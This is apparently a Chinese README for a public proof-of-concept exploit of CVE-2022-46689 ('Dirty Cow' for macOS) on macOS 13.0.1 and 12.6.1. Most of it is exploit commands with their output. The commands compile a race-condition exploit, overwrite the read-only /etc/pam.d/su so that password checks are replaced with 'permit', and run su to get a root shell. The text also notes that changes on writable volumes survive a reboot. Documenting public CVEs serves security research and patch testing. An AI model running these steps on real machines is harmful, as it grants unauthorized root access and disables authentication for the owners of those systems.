利用 CVE-2022-46689(macOS 版的 Dirty Cow 漏洞)在 macOS 13.0.1 上获取 root 权限,使用从 Apple 的 XNU 源码 中提取的测试用例。
https://worthdoingbadly.com/macdirtycow/
在 macOS 13.0.1 / 12.6.1(或更低版本)机器上,运行:
clang -o switcharoo vm_unaligned_copy_switch_race.c
sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin
./switcharoo /etc/pam.d/su overwrite_file.bin
su
你应该会得到:
% ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
RO mapping was modified
% su
sh-3.2#
已在关闭 SIP 的 macOS 13 beta(22A5266r)上测试(开启 SIP 时应该仍然有效)。
如果你的系统已完全修补(macOS 13.1 / 12.6.2),则应该会显示:
$ ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
vm_read_overwrite: KERN_SUCCESS:9865 KERN_PROTECTION_FAILURE:3840 other:0
Ran 13705 times in 10 seconds with no failure
并且运行 su 时仍会要求输入密码。
得益于 Sealed System Volume(密封系统卷),在 /System 卷上对任何文件运行此操作只会临时修改该文件:重启后即被还原。而在可写卷上的文件上运行,则重启后修改仍会保留。
/etc/pam.d 禁用密码检查的技巧。